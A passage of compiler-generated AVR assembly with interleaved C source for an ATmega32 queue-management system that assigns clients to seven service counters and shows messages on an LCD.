LDS R26,@0+(@1)
.ENDM
.MACRO __GETW2MN
LDS R26,@0+(@1)
LDS R27,@0+(@1)+1
.ENDM
.MACRO __GETD2MN
LDS R26,@0+(@1)
LDS R27,@0+(@1)+1
LDS R24,@0+(@1)+2
LDS R25,@0+(@1)+3
.ENDM
.MACRO __PUTB1MN
STS @0+(@1),R30
.ENDM
.MACRO __PUTW1MN
STS @0+(@1),R30
STS @0+(@1)+1,R31
.ENDM
.MACRO __PUTD1MN
STS @0+(@1),R30
STS @0+(@1)+1,R31
STS @0+(@1)+2,R22
STS @0+(@1)+3,R23
.ENDM
.MACRO __PUTB1EN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMWRB
.ENDM
.MACRO __PUTW1EN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMWRW
.ENDM
.MACRO __PUTD1EN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMWRD
.ENDM
.MACRO __PUTBR0MN
STS @0+(@1),R0
.ENDM
.MACRO __PUTBMRN
STS @0+(@1),R@2
.ENDM
.MACRO __PUTWMRN
STS @0+(@1),R@2
STS @0+(@1)+1,R@3
.ENDM
.MACRO __PUTBZR
STD Z+@1,R@0
.ENDM
.MACRO __PUTWZR
STD Z+@2,R@0
STD Z+@2+1,R@1
.ENDM
.MACRO __GETW1R
MOV R30,R@0
MOV R31,R@1
.ENDM
.MACRO __GETW2R
MOV R26,R@0
MOV R27,R@1
.ENDM
.MACRO __GETWRN
LDI R@0,LOW(@2)
LDI R@1,HIGH(@2)
.ENDM
.MACRO __PUTW1R
MOV R@0,R30
MOV R@1,R31
.ENDM
.MACRO __PUTW2R
MOV R@0,R26
MOV R@1,R27
.ENDM
.MACRO __ADDWRN
SUBI R@0,LOW(-@2)
SBCI R@1,HIGH(-@2)
.ENDM
.MACRO __ADDWRR
ADD R@0,R@2
ADC R@1,R@3
.ENDM
.MACRO __SUBWRN
SUBI R@0,LOW(@2)
SBCI R@1,HIGH(@2)
.ENDM
.MACRO __SUBWRR
SUB R@0,R@2
SBC R@1,R@3
.ENDM
.MACRO __ANDWRN
ANDI R@0,LOW(@2)
ANDI R@1,HIGH(@2)
.ENDM
.MACRO __ANDWRR
AND R@0,R@2
AND R@1,R@3
.ENDM
.MACRO __ORWRN
ORI R@0,LOW(@2)
ORI R@1,HIGH(@2)
.ENDM
.MACRO __ORWRR
OR R@0,R@2
OR R@1,R@3
.ENDM
.MACRO __EORWRR
EOR R@0,R@2
EOR R@1,R@3
.ENDM
.MACRO __GETWRS
LDD R@0,Y+@2
LDD R@1,Y+@2+1
.ENDM
.MACRO __PUTBSR
STD Y+@1,R@0
.ENDM
.MACRO __PUTWSR
STD Y+@2,R@0
STD Y+@2+1,R@1
.ENDM
.MACRO __MOVEWRR
MOV R@0,R@2
MOV R@1,R@3
.ENDM
.MACRO __INWR
IN R@0,@2
IN R@1,@2+1
.ENDM
.MACRO __OUTWR
OUT @2+1,R@1
OUT @2,R@0
.ENDM
.MACRO __CALL1MN
LDS R30,@0+(@1)
LDS R31,@0+(@1)+1
ICALL
.ENDM
.MACRO __CALL1FN
LDI R30,LOW(2*@0+(@1))
LDI R31,HIGH(2*@0+(@1))
CALL __GETW1PF
ICALL
.ENDM
.MACRO __CALL2EN
PUSH R26
PUSH R27
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
CALL __EEPROMRDW
POP R27
POP R26
ICALL
.ENDM
.MACRO __CALL2EX
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
CALL __EEPROMRDD
ICALL
.ENDM
.MACRO __GETW1STACK
IN R30,SPL
IN R31,SPH
ADIW R30,@0+1
LD R0,Z+
LD R31,Z
MOV R30,R0
.ENDM
.MACRO __GETD1STACK
IN R30,SPL
IN R31,SPH
ADIW R30,@0+1
LD R0,Z+
LD R1,Z+
LD R22,Z
MOVW R30,R0
.ENDM
.MACRO __NBST
BST R@0,@1
IN R30,SREG
LDI R31,0x40
EOR R30,R31
OUT SREG,R30
.ENDM
.MACRO __PUTB1SN
LDD R26,Y+@0
LDD R27,Y+@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1SN
LDD R26,Y+@0
LDD R27,Y+@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SN
LDD R26,Y+@0
LDD R27,Y+@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1SNS
LDD R26,Y+@0
LDD R27,Y+@0+1
ADIW R26,@1
ST X,R30
.ENDM
.MACRO __PUTW1SNS
LDD R26,Y+@0
LDD R27,Y+@0+1
ADIW R26,@1
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SNS
LDD R26,Y+@0
LDD R27,Y+@0+1
ADIW R26,@1
CALL __PUTDP1
.ENDM
.MACRO __PUTB1PMN
LDS R26,@0
LDS R27,@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1PMN
LDS R26,@0
LDS R27,@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1PMN
LDS R26,@0
LDS R27,@0+1
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1PMNS
LDS R26,@0
LDS R27,@0+1
ADIW R26,@1
ST X,R30
.ENDM
.MACRO __PUTW1PMNS
LDS R26,@0
LDS R27,@0+1
ADIW R26,@1
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1PMNS
LDS R26,@0
LDS R27,@0+1
ADIW R26,@1
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RN
MOVW R26,R@0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1RN
MOVW R26,R@0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RN
MOVW R26,R@0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RNS
MOVW R26,R@0
ADIW R26,@1
ST X,R30
.ENDM
.MACRO __PUTW1RNS
MOVW R26,R@0
ADIW R26,@1
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RNS
MOVW R26,R@0
ADIW R26,@1
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RON
MOV R26,R@0
MOV R27,R@1
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
ST X,R30
.ENDM
.MACRO __PUTW1RON
MOV R26,R@0
MOV R27,R@1
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RON
MOV R26,R@0
MOV R27,R@1
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
CALL __PUTDP1
.ENDM
.MACRO __PUTB1RONS
MOV R26,R@0
MOV R27,R@1
ADIW R26,@2
ST X,R30
.ENDM
.MACRO __PUTW1RONS
MOV R26,R@0
MOV R27,R@1
ADIW R26,@2
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1RONS
MOV R26,R@0
MOV R27,R@1
ADIW R26,@2
CALL __PUTDP1
.ENDM
.MACRO __GETB1SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R30,Z
.ENDM
.MACRO __GETB1HSX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R31,Z
.ENDM
.MACRO __GETW1SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R0,Z+
LD R31,Z
MOV R30,R0
.ENDM
.MACRO __GETD1SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R0,Z+
LD R1,Z+
LD R22,Z+
LD R23,Z
MOVW R30,R0
.ENDM
.MACRO __GETB2SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R26,X
.ENDM
.MACRO __GETW2SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
.ENDM
.MACRO __GETD2SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R1,X+
LD R24,X+
LD R25,X
MOVW R26,R0
.ENDM
.MACRO __GETBRSX
MOVW R30,R28
SUBI R30,LOW(-@1)
SBCI R31,HIGH(-@1)
LD R@0,Z
.ENDM
.MACRO __GETWRSX
MOVW R30,R28
SUBI R30,LOW(-@2)
SBCI R31,HIGH(-@2)
LD R@0,Z+
LD R@1,Z
.ENDM
.MACRO __GETBRSX2
MOVW R26,R28
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
LD R@0,X
.ENDM
.MACRO __GETWRSX2
MOVW R26,R28
SUBI R26,LOW(-@2)
SBCI R27,HIGH(-@2)
LD R@0,X+
LD R@1,X
.ENDM
.MACRO __LSLW8SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
LD R31,Z
CLR R30
.ENDM
.MACRO __PUTB1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X,R30
.ENDM
.MACRO __PUTW1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X+,R31
ST X+,R22
ST X,R23
.ENDM
.MACRO __CLRW1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X,R30
.ENDM
.MACRO __CLRD1SX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
ST X+,R30
ST X+,R30
ST X+,R30
ST X,R30
.ENDM
.MACRO __PUTB2SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
ST Z,R26
.ENDM
.MACRO __PUTW2SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
ST Z+,R26
ST Z,R27
.ENDM
.MACRO __PUTD2SX
MOVW R30,R28
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
ST Z+,R26
ST Z+,R27
ST Z+,R24
ST Z,R25
.ENDM
.MACRO __PUTBSRX
MOVW R30,R28
SUBI R30,LOW(-@1)
SBCI R31,HIGH(-@1)
ST Z,R@0
.ENDM
.MACRO __PUTWSRX
MOVW R30,R28
SUBI R30,LOW(-@2)
SBCI R31,HIGH(-@2)
ST Z+,R@0
ST Z,R@1
.ENDM
.MACRO __PUTB1SNX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X,R30
.ENDM
.MACRO __PUTW1SNX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X,R31
.ENDM
.MACRO __PUTD1SNX
MOVW R26,R28
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
LD R0,X+
LD R27,X
MOV R26,R0
SUBI R26,LOW(-@1)
SBCI R27,HIGH(-@1)
ST X+,R30
ST X+,R31
ST X+,R22
ST X,R23
.ENDM
.MACRO __MULBRR
MULS R@0,R@1
MOVW R30,R0
.ENDM
.MACRO __MULBRRU
MUL R@0,R@1
MOVW R30,R0
.ENDM
.MACRO __MULBRR0
MULS R@0,R@1
.ENDM
.MACRO __MULBRRU0
MUL R@0,R@1
.ENDM
.MACRO __MULBNWRU
LDI R26,@2
MUL R26,R@0
MOVW R30,R0
MUL R26,R@1
ADD R31,R0
.ENDM
;NAME DEFINITIONS FOR GLOBAL VARIABLES ALLOCATED TO REGISTERS
.DEF _second=R4
.DEF _second_msb=R5
.DEF _minute=R6
.DEF _minute_msb=R7
.DEF _hour=R8
.DEF _hour_msb=R9
.DEF _is_AM=R11
.DEF _client_index=R12
.DEF _client_index_msb=R13
.DEF __lcd_x=R10
.CSEG
.ORG 0x00
;START OF CODE MARKER
__START_OF_CODE:
;INTERRUPT VECTORS
JMP __RESET
JMP _ext_int0_isr
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP _timer1_ovf_isr
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
JMP 0x00
_tbl10_G100:
.DB 0x10,0x27,0xE8,0x3,0x64,0x0,0xA,0x0
.DB 0x1,0x0
_tbl16_G100:
.DB 0x0,0x10,0x0,0x1,0x10,0x0,0x1,0x0
;GLOBAL REGISTER VARIABLES INITIALIZATION
__REG_VARS:
.DB 0x0,0x0,0x1E,0x0
.DB 0x7,0x0,0x0,0x1
.DB 0x0,0x0
_0x3:
.DB 0x1
_0x0:
.DB 0x20,0x20,0x20,0x25,0x30,0x32,0x64,0x3A
.DB 0x25,0x30,0x32,0x64,0x3A,0x25,0x30,0x32
.DB 0x64,0x20,0x20,0x50,0x4D,0x0,0x20,0x20
.DB 0x20,0x25,0x30,0x32,0x64,0x3A,0x25,0x30
.DB 0x32,0x64,0x3A,0x25,0x30,0x32,0x64,0x20
.DB 0x20,0x41,0x4D,0x0,0x20,0x20,0x20,0x43
.DB 0x6C,0x69,0x65,0x6E,0x74,0x20,0x23,0x25
.DB 0x30,0x33,0x64,0x20,0x20,0x20,0x0,0x47
.DB 0x6F,0x20,0x54,0x6F,0x20,0x43,0x6F,0x75
.DB 0x6E,0x74,0x65,0x72,0x23,0x25,0x30,0x32
.DB 0x64,0x21,0x0,0x20,0x25,0x33,0x64,0x20
.DB 0x43,0x6C,0x69,0x65,0x6E,0x74,0x28,0x73
.DB 0x29,0x20,0x0,0x20,0x20,0x20,0x42,0x65
.DB 0x66,0x6F,0x72,0x65,0x20,0x59,0x6F,0x75
.DB 0x20,0x20,0x20,0x0,0x20,0x20,0x20,0x20
.DB 0x53,0x6F,0x72,0x72,0x79,0x20,0x3A,0x28
.DB 0x20,0x20,0x20,0x20,0x0,0x20,0x20,0x54
.DB 0x69,0x6D,0x65,0x27,0x73,0x20,0x4F,0x76
.DB 0x65,0x72,0x21,0x20,0x20,0x0
_0x2040060:
.DB 0x1
_0x2040000:
.DB 0x2D,0x4E,0x41,0x4E,0x0,0x49,0x4E,0x46
.DB 0x0
_0x2060003:
.DB 0x80,0xC0
__GLOBAL_INI_TBL:
.DW 0x0A
.DW 0x04
.DW __REG_VARS*2
.DW 0x01
.DW _is_timeContinue
.DW _0x3*2
.DW 0x01
.DW _0x43
.DW _0x0*2+21
.DW 0x01
.DW __seed_G102
.DW _0x2040060*2
.DW 0x02
.DW __base_y_G103
.DW _0x2060003*2
_0xFFFFFFFF:
.DW 0
#define __GLOBAL_INI_TBL_PRESENT 1
__RESET:
CLI
CLR R30
OUT EECR,R30
;INTERRUPT VECTORS ARE PLACED
;AT THE START OF FLASH
LDI R31,1
OUT GICR,R31
OUT GICR,R30
OUT MCUCR,R30
;CLEAR R2-R14
LDI R24,(14-2)+1
LDI R26,2
CLR R27
__CLEAR_REG:
ST X+,R30
DEC R24
BRNE __CLEAR_REG
;CLEAR SRAM
LDI R24,LOW(__CLEAR_SRAM_SIZE)
LDI R25,HIGH(__CLEAR_SRAM_SIZE)
LDI R26,__SRAM_START
__CLEAR_SRAM:
ST X+,R30
SBIW R24,1
BRNE __CLEAR_SRAM
;GLOBAL VARIABLES INITIALIZATION
LDI R30,LOW(__GLOBAL_INI_TBL*2)
LDI R31,HIGH(__GLOBAL_INI_TBL*2)
__GLOBAL_INI_NEXT:
LPM R24,Z+
LPM R25,Z+
SBIW R24,0
BREQ __GLOBAL_INI_END
LPM R26,Z+
LPM R27,Z+
LPM R0,Z+
LPM R1,Z+
MOVW R22,R30
MOVW R30,R0
__GLOBAL_INI_LOOP:
LPM R0,Z+
ST X+,R0
SBIW R24,1
BRNE __GLOBAL_INI_LOOP
MOVW R30,R22
RJMP __GLOBAL_INI_NEXT
__GLOBAL_INI_END:
;HARDWARE STACK POINTER INITIALIZATION
LDI R30,LOW(__SRAM_END-__HEAP_SIZE)
OUT SPL,R30
LDI R30,HIGH(__SRAM_END-__HEAP_SIZE)
OUT SPH,R30
;DATA STACK POINTER INITIALIZATION
LDI R28,LOW(__SRAM_START+__DSTACK_SIZE)
LDI R29,HIGH(__SRAM_START+__DSTACK_SIZE)
JMP _main
.ESEG
.ORG 0
.DSEG
.ORG 0x260
.CSEG
;#include <io.h>
#ifndef __SLEEP_DEFINED__
#define __SLEEP_DEFINED__
.EQU __se_bit=0x80
.EQU __sm_mask=0x70
.EQU __sm_powerdown=0x20
.EQU __sm_powersave=0x30
.EQU __sm_standby=0x60
.EQU __sm_ext_standby=0x70
.EQU __sm_adc_noise_red=0x10
.SET power_ctrl_reg=mcucr
#endif
;#include <delay.h>
;#include <stdio.h>
;#include <string.h>
;#include <stdlib.h>
;#include <alcd.h>
;#include <mega32.h>
;
;#define ONE_SEC 1000
;#define SHOW_DELAY 3000
;#define MAX_IN_QUE 100
;int second = 0;
;int minute = 30;
;int hour = 7;
;char is_AM = 1;
;
;// fo Counter 1, 2, 3, 4, 5, 6, 7
;char is_full[7] = {0, 0, 0, 0, 0, 0, 0};
;// fo Counter 1-5, 6, 7
;int in_que[3] = {0 , 0, 0};
;int que_1to5[MAX_IN_QUE] = {0};
;int que_6[MAX_IN_QUE] = {0};
;int que_7[MAX_IN_QUE] = {0};
;int client_index = 0;
;int is_timeContinue = 1;
.DSEG
;char lcd_buffer[16];
;
;int pop_from_que(int*);
;void push_to_que(int*, int);
;void time_after(int, int*, int*, int*, char*);
;int give_first_empty(char*, int);
;void LCD_Goto_Counter (int, int);
;void LCD_Show_Waiting (int);
;void LCD_Out_Of_Time();
;char GetKey();
;
;// Timer Interrupt - NOT WORKING
;interrupt [TIM1_OVF] void timer1_ovf_isr(void)
; 0000 0027 {
.CSEG
_timer1_ovf_isr:
; .FSTART _timer1_ovf_isr
ST -Y,R30
; 0000 0028 // Reinitialize Timer1 Value
; 0000 0029 TCNT1H = 0x85EE >> 8;
LDI R30,LOW(133)
OUT 0x2D,R30
; 0000 002A TCNT1L = 0x85EE & 0xff;
LDI R30,LOW(238)
OUT 0x2C,R30
; 0000 002B }
LD R30,Y+
RETI
; .FEND
;
;// External Interrupt 0
;interrupt [EXT_INT0] void ext_int0_isr(void)
; 0000 002F {
_ext_int0_isr:
; .FSTART _ext_int0_isr
ST -Y,R0
ST -Y,R1
ST -Y,R15
ST -Y,R22
ST -Y,R23
ST -Y,R24
ST -Y,R25
ST -Y,R26
ST -Y,R27
ST -Y,R30
ST -Y,R31
IN R30,SREG
ST -Y,R30
; 0000 0030 char key;
; 0000 0031 int empt_counter_idx;
; 0000 0032 key = GetKey();
CALL __SAVELOCR4
; key -> R17
; empt_counter_idx -> R18,R19
RCALL _GetKey
MOV R17,R30
; 0000 0033 GICR |= (1 << INTF0); // Enalbe Interrupt Flag
IN R30,0x3B
ORI R30,0x40
OUT 0x3B,R30
; 0000 0034 if(key != 0xFF) // dokme feshorde shod
CPI R17,255
BRNE PC+2
RJMP _0x4
; 0000 0035 {
; 0000 0036 if (!is_AM)
TST R11
BRNE _0x5
; 0000 0037 if (hour > 1 || (hour == 1 && minute >= 30 ))
LDI R30,LOW(1)
LDI R31,HIGH(1)
CP R30,R8
CPC R31,R9
BRLT _0x7
CP R30,R8
CPC R31,R9
BRNE _0x8
LDI R30,LOW(30)
LDI R31,HIGH(30)
CP R6,R30
CPC R7,R31
BRGE _0x7
_0x8:
RJMP _0x6
_0x7:
; 0000 0038 is_timeContinue = 0;
LDI R30,LOW(0)
STS _is_timeContinue,R30
STS _is_timeContinue+1,R30
; 0000 0039
; 0000 003A switch(key)
_0x6:
_0x5:
MOV R30,R17
LDI R31,0
; 0000 003B {
; 0000 003C case 1:
CPI R30,LOW(0x1)
LDI R26,HIGH(0x1)
CPC R31,R26
BRNE _0xE
; 0000 003D if (is_timeContinue)
CALL SUBOPT_0x0
BREQ _0xF
; 0000 003E {
; 0000 003F client_index++;
CALL SUBOPT_0x1
; 0000 0040 empt_counter_idx = give_first_empty(is_full, 5);
LDI R30,LOW(_is_full)
LDI R31,HIGH(_is_full)
ST -Y,R31
ST -Y,R30
LDI R26,LOW(5)
LDI R27,0
RCALL _give_first_empty
MOVW R18,R30
; 0000 0041 if (empt_counter_idx != -1)
LDI R30,LOW(65535)
LDI R31,HIGH(65535)
CP R30,R18
CPC R31,R19
BREQ _0x10
; 0000 0042 {
; 0000 0043 is_full[empt_counter_idx] = 1;
LDI R26,LOW(_is_full)
LDI R27,HIGH(_is_full)
ADD R26,R18
ADC R27,R19
LDI R30,LOW(1)
ST X,R30
; 0000 0044 LCD_Goto_Counter(client_index, empt_counter_idx + 1);
ST -Y,R13
ST -Y,R12
MOVW R26,R18
ADIW R26,1
RCALL _LCD_Goto_Counter
; 0000 0045 }
; 0000 0046 else // All Counters are full
RJMP _0x11
_0x10:
; 0000 0047 {
; 0000 0048 LCD_Show_Waiting(in_que[0]);
CALL SUBOPT_0x2
RCALL _LCD_Show_Waiting
; 0000 0049 in_que[0]++;
CALL SUBOPT_0x3
ADIW R30,1
ST -X,R31
ST -X,R30
; 0000 004A push_to_que(que_1to5, client_index);
LDI R30,LOW(_que_1to5)
LDI R31,HIGH(_que_1to5)
CALL SUBOPT_0x4
; 0000 004B }
_0x11:
; 0000 004C }
; 0000 004D else // Running out of time
RJMP _0x12
_0xF:
; 0000 004E LCD_Out_Of_Time();
RCALL _LCD_Out_Of_Time
; 0000 004F break;
_0x12:
RJMP _0xD
; 0000 0050
; 0000 0051 case 2:
_0xE:
CPI R30,LOW(0x2)
LDI R26,HIGH(0x2)
CPC R31,R26
BRNE _0x13
; 0000 0052 if (is_timeContinue)
CALL SUBOPT_0x0
BREQ _0x14
; 0000 0053 {
; 0000 0054 client_index++;
CALL SUBOPT_0x1
; 0000 0055 if (!is_full[5]) // Counter 6
__GETB1MN _is_full,5
CPI R30,0
BRNE _0x15
; 0000 0056 {
; 0000 0057 is_full[5] = 1;
LDI R30,LOW(1)
__PUTB1MN _is_full,5
; 0000 0058 LCD_Goto_Counter(client_index, 6);
ST -Y,R13
ST -Y,R12
LDI R26,LOW(6)
LDI R27,0
RCALL _LCD_Goto_Counter
; 0000 0059 }
; 0000 005A else // All Counters are full
RJMP _0x16
_0x15:
; 0000 005B {
; 0000 005C LCD_Show_Waiting(in_que[1]);
__GETW2MN _in_que,2
RCALL _LCD_Show_Waiting
; 0000 005D in_que[1]++;
__POINTW2MN _in_que,2
CALL SUBOPT_0x5
; 0000 005E push_to_que(que_6, client_index);
LDI R30,LOW(_que_6)
LDI R31,HIGH(_que_6)
CALL SUBOPT_0x4
; 0000 005F }
_0x16:
; 0000 0060 }
; 0000 0061 else // Running out of time
RJMP _0x17
_0x14:
; 0000 0062 LCD_Out_Of_Time();
RCALL _LCD_Out_Of_Time
; 0000 0063 break;
_0x17:
RJMP _0xD
; 0000 0064
; 0000 0065 case 3:
_0x13:
CPI R30,LOW(0x3)
LDI R26,HIGH(0x3)
CPC R31,R26
BRNE _0x18
; 0000 0066 if (is_timeContinue)
CALL SUBOPT_0x0
BREQ _0x19
; 0000 0067 {
; 0000 0068 client_index++;
CALL SUBOPT_0x1
; 0000 0069 if (!is_full[6]) // Counter 7
__GETB1MN _is_full,6
CPI R30,0
BRNE _0x1A
; 0000 006A {
; 0000 006B is_full[6] = 1;
LDI R30,LOW(1)
__PUTB1MN _is_full,6
; 0000 006C LCD_Goto_Counter(client_index, 7);
ST -Y,R13
ST -Y,R12
LDI R26,LOW(7)
LDI R27,0
RCALL _LCD_Goto_Counter
; 0000 006D }
; 0000 006E else // All Counters are full
RJMP _0x1B
_0x1A:
; 0000 006F {
; 0000 0070 LCD_Show_Waiting(in_que[2]);
__GETW2MN _in_que,4
RCALL _LCD_Show_Waiting
; 0000 0071 in_que[2]++;
__POINTW2MN _in_que,4
CALL SUBOPT_0x5
; 0000 0072 push_to_que(que_7, client_index);
LDI R30,LOW(_que_7)
LDI R31,HIGH(_que_7)
CALL SUBOPT_0x4
; 0000 0073 }
_0x1B:
; 0000 0074 }
; 0000 0075 else // Running out of time
RJMP _0x1C
_0x19:
; 0000 0076 LCD_Out_Of_Time();
RCALL _LCD_Out_Of_Time
; 0000 0077 break;
_0x1C:
RJMP _0xD
; 0000 0078
; 0000 0079 case 9: // Counter1
_0x18:
CPI R30,LOW(0x9)
LDI R26,HIGH(0x9)
CPC R31,R26
BRNE _0x1D
; 0000 007A is_full[0] = 0;
LDI R30,LOW(0)
STS _is_full,R30
; 0000 007B if (in_que[0] > 0)
CALL SUBOPT_0x6
BRGE _0x1E
; 0000 007C {
; 0000 007D in_que[0]--;
CALL SUBOPT_0x3
CALL SUBOPT_0x7
; 0000 007E LCD_Goto_Counter(pop_from_que(que_1to5), 1);
LDI R26,LOW(1)
CALL SUBOPT_0x8
; 0000 007F is_full[0] = 1;
STS _is_full,R30
; 0000 0080 }
; 0000 0081 break;
_0x1E:
RJMP _0xD
; 0000 0082
; 0000 0083 case 8: // Counter2
_0x1D:
CPI R30,LOW(0x8)
LDI R26,HIGH(0x8)
CPC R31,R26
BRNE _0x1F
; 0000 0084 is_full[1] = 0;
LDI R30,LOW(0)
__PUTB1MN _is_full,1
; 0000 0085 if (in_que[0] > 0)
CALL SUBOPT_0x6
BRGE _0x20
; 0000 0086 {
; 0000 0087 in_que[0]--;
CALL SUBOPT_0x3
CALL SUBOPT_0x7
; 0000 0088 LCD_Goto_Counter(pop_from_que(que_1to5), 2);
LDI R26,LOW(2)
CALL SUBOPT_0x8
; 0000 0089 is_full[1] = 1;
__PUTB1MN _is_full,1
; 0000 008A }
; 0000 008B break;
_0x20:
RJMP _0xD
; 0000 008C
; 0000 008D case 7: // Counter3
_0x1F:
CPI R30,LOW(0x7)
LDI R26,HIGH(0x7)
CPC R31,R26
BRNE _0x21
; 0000 008E is_full[2] = 0;
LDI R30,LOW(0)
__PUTB1MN _is_full,2
; 0000 008F if (in_que[0] > 0)
CALL SUBOPT_0x6
BRGE _0x22
; 0000 0090 {
; 0000 0091 in_que[0]--;
CALL SUBOPT_0x3
CALL SUBOPT_0x7
; 0000 0092 LCD_Goto_Counter(pop_from_que(que_1to5), 3);
LDI R26,LOW(3)
CALL SUBOPT_0x8
; 0000 0093 is_full[2] = 1;
__PUTB1MN _is_full,2
; 0000 0094 }
; 0000 0095 break;
_0x22:
RJMP _0xD
; 0000 0096 case 6: // Counter4
_0x21:
CPI R30,LOW(0x6)
LDI R26,HIGH(0x6)
CPC R31,R26
BRNE _0x23
; 0000 0097 is_full[3] = 0;
LDI R30,LOW(0)
__PUTB1MN _is_full,3
; 0000 0098 if (in_que[0] > 0)
CALL SUBOPT_0x6
BRGE _0x24
; 0000 0099 {
; 0000 009A in_que[0]--;
CALL SUBOPT_0x3
CALL SUBOPT_0x7
; 0000 009B LCD_Goto_Counter(pop_from_que(que_1to5), 4);
LDI R26,LOW(4)
CALL SUBOPT_0x8
; 0000 009C is_full[3] = 1;
__PUTB1MN _is_full,3
; 0000 009D }
; 0000 009E break;
_0x24:
RJMP _0xD
; 0000 009F case 5: // Counter5
_0x23:
CPI R30,LOW(0x5)
LDI R26,HIGH(0x5)
CPC R31,R26
BRNE _0x25
; 0000 00A0 is_full[4] = 0;
LDI R30,LOW(0)
__PUTB1MN _is_full,4
; 0000 00A1 if (in_que[0] > 0)
CALL SUBOPT_0x6
BRGE _0x26
; 0000 00A2 {
; 0000 00A3 in_que[0]--;
CALL SUBOPT_0x3
CALL SUBOPT_0x7
; 0000 00A4 LCD_Goto_Counter(pop_from_que(que_1to5), 5);
LDI R26,LOW(5)
CALL SUBOPT_0x8
; 0000 00A5 is_full[4] = 1;
__PUTB1MN _is_full,4
; 0000 00A6 }
; 0000 00A7 break;
_0x26:
RJMP _0xD
; 0000 00A8 case 4: // Counter6
_0x25:
CPI R30,LOW(0x4)
LDI R26,HIGH(0x4)
CPC R31,R26
BRNE _0x27
; 0000 00A9 is_full[5] = 0;
LDI R30,LOW(0)
__PUTB1MN _is_full,5
; 0000 00AA if (in_que[1] > 0)
__GETW2MN _in_que,2
CALL __CPW02
BRGE _0x28
; 0000 00AB {
; 0000 00AC in_que[1]--;
__POINTW2MN _in_que,2
LD R30,X+
LD R31,X+
SBIW R30,1
ST -X,R31
ST -X,R30
; 0000 00AD LCD_Goto_Counter(pop_from_que(que_6), 6);
LDI R26,LOW(_que_6)
LDI R27,HIGH(_que_6)
RCALL _pop_from_que
ST -Y,R31
ST -Y,R30
LDI R26,LOW(6)
CALL SUBOPT_0x8
; 0000 00AE is_full[5] = 1;
__PUTB1MN _is_full,5
; 0000 00AF }
; 0000 00B0 break;
_0x28:
RJMP _0xD
; 0000 00B1 case 0: // Counter7
_0x27:
SBIW R30,0
BRNE _0xD
; 0000 00B2 is_full[6] = 0;
LDI R30,LOW(0)
